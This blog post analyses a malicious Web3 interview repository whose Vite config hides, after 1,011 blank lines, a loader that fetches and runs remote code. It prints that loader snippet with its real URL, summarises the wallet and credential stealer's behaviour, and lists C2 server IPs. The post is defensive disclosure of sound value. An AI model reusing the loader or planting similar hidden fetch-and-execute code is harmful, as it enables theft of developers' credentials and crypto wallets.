Unmasking a Web3 Supply Chain Attack: Deobfuscating a 47-Wallet Stealer Hidden in Vite
周伟3 min read·Just now--
Over two decades of building backend systems trains you to develop a “sixth sense” for anomalous code behavior. Recently, a seemingly routine technical interview assignment for a Web3 role led me straight into a highly advanced supply chain attack.
Instead of running the provided repository blindly, I quarantined it in a strictly configured Virtual Machine. What followed was a textbook autopsy of an Advanced Persistent Threat (APT) targeting senior engineers.
1. The Bait: The Fake Organization
The attack vector was social engineering. I was approached via Telegram for a technical assessment and pointed to a Bitbucket repository under the workspace 0glabs_tech. This is a classic phishing tactic: impersonating a legitimate Web3 unicorn (0G Labs) using a free, unverified organization account. The recruiter even insisted I avoid sharing the code on GitHub—a move designed to keep the malware isolated from community security scanners.
2. The Invisible Trigger
Upon pulling the code, the project looked like a standard React/Vite application. However, a deeper audit revealed the trap.
Inside vite.config.ts, there was an unusual import: require("./src/vite-env"). Typically, vite-env.d.ts is purely for type declarations. In this repository, the attackers used whitespace obfuscation. The first 1,011 lines were completely blank, attempting to hide the payload from a casual IDE preview.
At line 1,012, the true payload executed:
JavaScript
(async () => {
require("axios").get("https://www.jsonkeeper.com/b/8LJHY")
.then((r) => { new Function("require", r.data.cookie)(require); })
})();This is a “Shadow Execution.” The moment a developer runs npm run dev, the script fetches a remote, obfuscated payload and executes it with full require privileges, bypassing static analysis.
3. Deobfuscation: Breaking the Custom Base-91 Cipher
I isolated the Stage 2 payload fetched from the remote snippet service. It wasn’t standard Base64. The attackers built a custom bit-packing decoder utilizing five different substitution alphabets (e.g., G}FiLd5){z(>...) to reconstruct their commands at runtime.
By feeding the obfuscation logic into an AI editor and writing a custom Python decoder to map the bit-shifts, I unmasked the entire string array. The “True Body” of the malware was exposed.
4. The True Body: A Developer’s Nightmare
The deobfuscated Stage 2 payload is a full-fledged info-stealer designed to drain assets and infrastructure access. Here is what it does:
- Targeted Theft: It actively scans Chrome and Brave profiles to extract
Login DataandWeb Data. - Crypto Wallet Drainer: It targets 47 different browser extensions, including MetaMask, Phantom, Coinbase Wallet, and Trust Wallet.
- Credential Harvesting: It recursively scans the home directory for
*.env,*phrase*,*secret*, and specifically hunts for~/.sshkeys. - Clipboard Hijacking: It monitors the system clipboard every 500ms, exfiltrating copied data to a remote C2 server.
- Extension Injection: It attempts to download a ZIP payload and inject malicious JavaScript directly into MetaMask’s
ui-20.jsfile while tampering with Chrome's Secure Preferences.
5. The Infrastructure
The payload communicates with a cluster of Command & Control (C2) servers:
103.214.71.98:4558(Data exfiltration)209.200.246.187:4553(Payload delivery, Node.js Express backend)45.61.130.84(Clipboard monitoring)
Lessons for Architects
We often talk about high availability and system durability, but robust architecture also means assuming zero-trust in local environments. This malware would have successfully compromised any developer running it on their bare-metal machine.
Strict VM isolation, Host-only networking, and UFW whitelists aren’t just for production servers — they are mandatory lifesavers for your development workflow.
Stay paranoid, stay safe.